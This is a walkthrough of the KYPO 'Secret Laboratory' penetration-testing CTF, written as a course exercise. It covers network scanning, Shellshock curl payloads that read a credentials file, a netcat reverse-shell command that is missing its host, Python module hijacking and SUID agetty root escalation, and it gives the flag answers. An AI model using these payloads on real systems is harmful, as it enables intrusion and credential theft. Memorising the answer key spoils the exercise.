
專案設計目的:本文是使用 Kypo-CRP 構建網路安全 CTF 挑戰或實作考試環境的第二篇撰文。我將使用馬薩里克大學 2020 年春季學期課程 PV276 – 網路攻擊模擬研討會中的滲透測試 CTF 遊戲「秘密實驗室」作為案例研究,本文展示了兩個主要目標:
-
如何在 KYPO-CRP 平台上構建和部署自定義 CTF 或教學任務沙箱。
-
如何在 KYPO-CRP 中操作,以逐步解決 PV276 秘密實驗室挑戰。
秘密實驗室 CTF 挑戰被設計為一個高級的網路和資訊安全練習,旨在從防禦者的角度向參與者介紹滲透測試工作流程。它強調在馬薩里克大學的 PV276 網路安全課程中教授的網路服務漏洞識別和利用、基於 CVE 的攻擊以及資料保護技術。此挑戰的相應 KYPO 沙箱可通過 KYPO 在 GitLab 上的官方開源儲存庫公開獲得 (MUNI-KYPO-TRAININGS / games / secret-laboratory),使學習者和專業人士都能在真實的環境中練習實作網路攻擊和防禦技能。
# Author: Yuancheng Liu
# Created: 2024/07/21
# Version: v_0.1.2
# License: MIT License
# Kypo-CRP Disclarmer: This training topic is for educational purposes only.The story is fictitious.
簡介
在我們深入研究解決秘密實驗室挑戰的技術演練之前,我想感謝挑戰的作者——Stanislav Boboň、David Hofman 和 Jakub Smatana——設計了一個緊湊、引人入勝且具有豐富教學意義的網路安全教育和競賽實作任務。
秘密實驗室挑戰由五個連續的任務組成,這些任務共同涵蓋了網路、Linux 系統管理、網路安全、密碼學和權限提升等核心網路安全技能。完成挑戰後,參與者將能輕鬆掌握以下概念和技術:
-
使用
fping和nmap等工具進行基本網路發現和探測。 -
Linux 檔案系統佈局、SSH 配置以及使用者/檔案權限模型配置。
-
對網路服務執行有針對性的滲透測試,包括識別和利用已知的漏洞 (CVE-2014-6271)。
-
利用錯誤配置的權限並執行程式庫劫持/覆蓋攻擊,以實現權限提升並提取敏感資訊。
挑戰背景故事
在 KYPO 挑戰頁面上,參與者會看到一個簡短的敘述,該敘述構成了練習的框架並設定了目標,如下所示:

這個故事情節為任務提供了背景:
歡迎! 您是一名網路安全官員,受聘對一家新創公司的網路服務執行滲透測試,以便他們能夠儘早修復安全問題。您將獲得一台與目標伺服器位於同一網路上的 Kali 機器——使用它來定位漏洞並演示如何利用它們。
環境和網路拓撲
該練習在 KYPO 網路靶場平台 (KYPO-CRP) 上運行,並使用 CTFd 進行評分。對於每位參與者,KYPO 都會提供一個由兩個互連的 VM 組成的小型多網路環境。本演練中使用的簡化網路拓撲如下所示:

-
攻擊者 (10.32.51.12) — 提供給參與者的 Kali VM。它包括常見的滲透測試工具,並且參與者具有
sudo權限來執行任務。 -
Web VM (10.32.51.173) — 託管易受攻擊的網路服務的目標伺服器。
CTF 問題和核心技術
挑戰分為五個漸進式問題,如下圖所示

此處總結了涵蓋的主要學習目標和技術:
-
Q1 — 網路探測: 學習在 Kali Linux 中定位自己,並使用
fping和nmap等工具發現目標子網路中的主機。 -
Q2 — 服務掃描: 使用
nmap列舉已發現主機上的開放埠和服務。 -
Q3 — 識別漏洞: 使用網路掃描工具(例如,
nikto)和 CVE 研究來查明易受攻擊的服務並收集漏洞詳細資訊。 -
Q4 — 利用漏洞: 應用 CVE-2014-6271 (Shellshock) 提供的漏洞利用程式碼,以在網路伺服器上獲得程式碼執行權限。
-
Q5 — 檢索秘密資訊和權限提升: 探索如何將直譯語言程式庫劫持或覆蓋與錯誤配置的檔案權限相結合,從而導致資訊洩漏和權限提升。
挑戰 Q1:網路探測(目標發現)
CTF 挑戰資訊:
-
目標: 從 KYPO 網路上的 Kali VM 中,發現子網路中的主機,並提交 IP 位址總數(包括您自己的)作為標誌。
-
挑戰任務:在任何滲透測試(或檢測/防禦活動)之前,您必須了解網路佈局:存在哪些主機、哪些 IP 屬於目標子網路以及您所在的節點。這使您可以負責任地專注於掃描,並且——從防禦者的角度來看——快速發現網路上的新設備或可疑設備。
-
標誌:子網路中節點的 IP 位址總數(包括您自己)。
步驟 1.1 - 取得 KYPO 環境 SSH 存取權限
CTF 參與者需要進入訓練主題 2 取得課程環境的存取權限,點擊按鈕 取得 SSH 配置 並按照 UserAccessManual_CR1.pdf 中的「存取 Kypo-Crp 課程挑戰 VM」部分登入他們自己的沙箱 VM。(如下所示)

然後,參與者可以使用下載的 SSH 金鑰和配置檔案登入他們自己的個人沙箱(如下所示):

步驟 1.2 - 確認您的 VM 網路介面和子網路
在 Kali 攻擊 VM 上運行:
ip addr
# or
ifconfig
尋找具有類似 10.32.51.12 的 IP 的介面。從這個位址,您可以推斷出子網路。在此挑戰中,您的 Kali VM IP 是 10.32.51.12,因此子網路是 10.32.51.0/24(即位址 10.32.51.0–10.32.51.255)。
步驟 1.3 - 探測子網路以尋找活動主機
參與者可以使用 fping(快速 ICMP 封包傳送程式)或 nmap 來列舉活動主機。實驗室中使用的範例:
使用 fping(列出子網路中的所有活動主機):
fping -ag 10.32.51.0/24 2>/dev/null
-a 列印活動主機,-g 展開範圍。2>/dev/null 隱藏錯誤訊息。
使用 nmap(僅限 ping 掃描/主機發現):
nmap -sn 10.32.51.0/24
-sn 執行主機發現,而不執行埠/服務掃描。(您可以運行 nmap --help 或 man nmap 來閱讀選項;-sV 是您稍後想要列舉服務時用於服務/版本檢測的選項。)
結果如下所示:

掃描器輸出將列出已回應的 IP 位址。結果中顯示有 4 個節點,然後在標誌提交頁面中填寫結果 4,如下所示:

正確答案(標誌): 4
挑戰 Q2:目標服務掃描(服務列舉)
CTF 挑戰資訊:
-
目標: 確定該主機上正在運行的 哪些服務,以及——至關重要的是——提取 HTTP 服務版本字串。以
httpd ((Debian))格式提交標誌
步驟 2.1 - 使用 Nmap 掃描目標
試驗 nmap 選項,並對目標運行服務/版本探測。有用的選項:
-
-sS— SYN(隱身)掃描 -
-sV— 探測服務以檢測版本 -
-O— 嘗試作業系統檢測
使用以下命令掃描目標主機:
nmap -sV 10.32.51.173
結果如下所示:

從該輸出中取得 Apache 字串:
Apache httpd 2.4.38 ((Debian))
在標誌提交頁面中填寫結果:

正確答案(標誌): Apache httpd 2.4.38 ((Debian))
挑戰 Q3:識別漏洞
CTF 挑戰資訊:
-
目標: 掃描已發現的網路服務以識別已知的漏洞,並提交在開放漏洞資料庫中找到的 CVE 識別碼。
-
任務:了解伺服器軟體和版本(來自 Q2)使您可以搜尋已知的弱點。在此任務中,我們對 Apache 託管的服務執行有針對性的網路漏洞掃描,以發現一個具體的、公開的 CVE,該 CVE 解釋了如何利用伺服器。
-
標誌:在開放原始碼漏洞資料庫 (OSVDB) 中記錄的 "CVE-xxxx-xxxx"。
步驟 3.1 — 使用 Nikto 掃描(發現潛在的 CVE)
我們使用 Nikto,這是一個預先安裝在 Kali VM 上的簡單網路漏洞掃描器。Nikto 會檢查網路伺服器是否存在已知的問題,並在找到匹配的測試時列出相關的 CVE 識別碼。
運行:
nikto -h 10.32.51.173
結果:

Nikto 將探測常見的 CGI 腳本和標頭,並報告發現。在此實驗室中,掃描器檢測到 CGI 腳本中與 Shellshock 相關的問題,並且輸出顯示了相關的 CVE。範例輸出(實驗室中的螢幕截圖)顯示了已發現的 CVE 條目。
有時如果網路伺服器回應緩慢,學生的結果可能會顯示以下訊息:
![]()
這是因為 nikto 的外掛程式碼設計,CVE2014-6271 和 CVE2013-6278 都屬於同一個 cgi 的 shellshock 漏洞,但針對不同的 API 使用不同的標頭。shellshock 漏洞檢測外掛程式的原始程式碼:https://github.com/sullo/nikto/blob/master/program/plugins/nikto_shellshock.plugin
-
CVE2014-6271:使用 API 標頭 'User-Agent'(公開)
-
CVE2013-6278:使用 API 'header 'Referer'(偵錯)
步驟 3.2 — 使用 Nmap 確認(可選驗證)
由於 User-Agent 是一個公開的 API,因此大多數工具會將該漏洞檢測為 CVE2014-6271。例如,如果我們使用 Nmap 的腳本漏洞檢測來公開 CVE,它將顯示 CVE2014-6271,實際上這兩個答案都是正確的。
運行:
nmap -sV --script http-shellshock --script-args uri=/cgi-bin/printenv 10.32.51.173
腳本輸出通常會參考 CVE-2014-6271(請參閱下面的螢幕截圖)。Nikto 和這個 Nmap 腳本都是驗證漏洞的有效方法。

在提交頁面中填寫標誌:

正確答案(標誌)是:CVE-2014-6271
挑戰 Q4:利用漏洞
CTF 挑戰資訊:
-
目標: 了解攻擊者如何使用已發現的 CVE 在易受攻擊的網路伺服器上執行命令。
-
任務:您已識別出目標網路伺服器 (
10.32.51.173) 正在運行一個容易受到 Shellshock 攻擊的 CGI 腳本,Shellshock 是一種 Bash 命令注入缺陷。您的目標是利用該漏洞來檢索本地使用者 michael 儲存在名為credentials.txt的檔案中的密碼,然後使用該密碼通過 SSH 登入。 -
標誌: 在
credentials.txt中找到的密碼(即,您稍後將用作 michael 的 SSH 密碼的秘密值)。
解決方案 4.1(可選):使用 ffuf 列舉目錄
如果參與者不希望依賴外部 CVE 文件,他們可以暴力破解網路目錄結構以尋找可能可利用的端點。
FFuF 掃描資料夾命令:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.32.51.173/FUZZ -t 50
結果:

然後,參與者需要在 /usr/share/wordlists 資料夾中嘗試不同的單字清單,並找到 "cgi-bin",然後找到 "printenv"。然後他們可以使用 curl 進行檢查:

解決方案 4.2(建議):使用已知的 CVE 直接利用 Shellshock
由於 Q3 確認了 Shellshock,學生可以直接製作注入來定位伺服器上的檔案。
使用 CVE-2014-6271 酬載定位憑證檔案:
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'find / -type f -name credentials.txt'" \
http://10.32.51.173/cgi-bin/printenv
結果:

該檔案位於:/var/www/html/credentials.txt
使用以下命令列出並讀取檔案:
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'ls /var/www/html'" http://10.32.51.173/cgi-bin/printenv
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /var/www/html/credentials.txt'" http://10.32.51.173/cgi-bin/printenv

解決方案 4.3(可選):通過 Netcat 反向 Shell
如果講師想要教授反向 Shell 和利用後技術:
在 Kali 上啟動監聽器:
nc -lvnp 4444
使用反向 Shell 酬載觸發 Shellshock:
curl -H "User-Agent: () { :;}; /bin/nc -e /bin/bash 4444" http://10.32.51.173/cgi-bin/printenv
在使用使用者 michael 測試 ssh 登入並確認密碼正確填寫後,提交以下結果 (WindOfChange):

正確答案(標誌)是:WindOfChange
挑戰 Q5:尋找秘密資訊
CTF 挑戰資訊:
-
目標: 了解 Linux 檔案權限和特殊權限位(尤其是 SUID)、直譯語言(Python、PHP、Perl 等)中的程式庫劫持/模組覆蓋以及權限提升技術。
-
任務:在
/root下有一個秘密檔案,但其權限阻止普通使用者讀取它。在 michael 的主目錄中,有兩個由 root 擁有的檔案,這兩個檔案對他來說都是唯讀的,但仍然是可執行的。這是不尋常的——而且是可疑的。他們的任務是找到一種方法來使用這些檔案作為「橋樑」來提升權限。 -
標誌:/root 資料夾中 *txt 檔案中的文字內容。
步驟 5.1:檢查 sudo 權限
在此挑戰環境中,一個名為 try_it.py(模式 0644)的 root 擁有的腳本放置在 Michael 的主目錄中。提示也已添加到 /etc/sudoers:
- name: Allow for user michael to execute python script
lineinfile:
path: /etc/sudoers
insertafter: '^root'
line: 'michael ALL=(john) NOPASSWD: /usr/bin/python3 /home/michael/try_it.py'
然後檢查使用者資訊以使用 sudo cmd 尋找使用者 john:
sudo -l
結果:

這揭示了:
-
允許使用者 michael 運行
/usr/bin/python3 /home/michael/try_it.py -
該命令將 以使用者 john 的身份執行,而無需 john 的密碼
步驟 5.2:查看 try_it.py 檔案
然後我們檢查 try_it.py 檔案:

該腳本很簡單——沒有可利用的邏輯。但是:
-
它 由 root 擁有
-
它 以提升的權限執行(通過 sudo 運行時)
這意味著我們可以利用其 Python 運行時行為。
步驟 5.3 通過 Python 模組覆蓋進行程式庫劫持
Python 按以下順序搜尋模組:
-
目前目錄
-
PYTHONPATH中的目錄 -
系統程式庫目錄
因為 try_it.py 包含 import random
random.py來覆蓋 random 模組。這允許我們**以目標用戶 (john) 的權限**執行任意命令。
創建文件 /home/michael/random.py,如下所示:

重要提示:
-
包含正確的 shebang (
#!/usr/bin/python3) -
使用
os.system/pty.spawn/subprocess來產生 shell
步驟 5.4:執行被劫持的腳本
按照 sudo 的指示運行腳本:
sudo -u john /usr/bin/python3 /home/michael/try_it.py
結果:

現在我們有了一個 john-shell,而不需要 john 的密碼。因為系統認為root正在以 john 的身份產生 shell(root 永遠不需要密碼)。
步驟 5.5:權限提升:john → root
在 john 的主目錄中,學生會找到一個可疑的 SUID 二進制文件:

一個名為 agetty 的二進制文件位於那裡——這是不正常的:
-
agetty 是一個系統登錄程序
-
它**不應該**位於用戶的主目錄中
-
它**不應該**設置 SUID
-
當 SUID-root 時,agetty 成為權限提升向量
步驟 5.6:使用 GTFOBins 進行提權
搜索“agetty privilege escalation”或查看 GTFOBins 並獲取:https://gtfobins.github.io/gtfobins/agetty/,該網站確認具有 SUID 的 agetty 可以產生 root shell。
運行利用命令:
./agetty -o -p -l /bin/sh -a root tty
結果:

授予一個 root shell 並 cat root.txt 以獲取 flag,在 Kypo 頁面中提交 flag:

正確答案(flag)是:FIIT_STU{got_r00t}
如果您對有關 Kypo CTP 和 CTF 挑戰的其他文章感興趣,請參考:
感謝您花時間查看文章詳細信息,如果您有任何問題和建議或發現任何程序錯誤,請隨時給我留言。非常感謝您能提供一些意見並分享任何改進建議,以便我們能夠使我們的工作做得更好~
last edit by LiuYuancheng ([email protected]) by 15/11/2025 if you have any problem, please send me a message.
No comment for this article.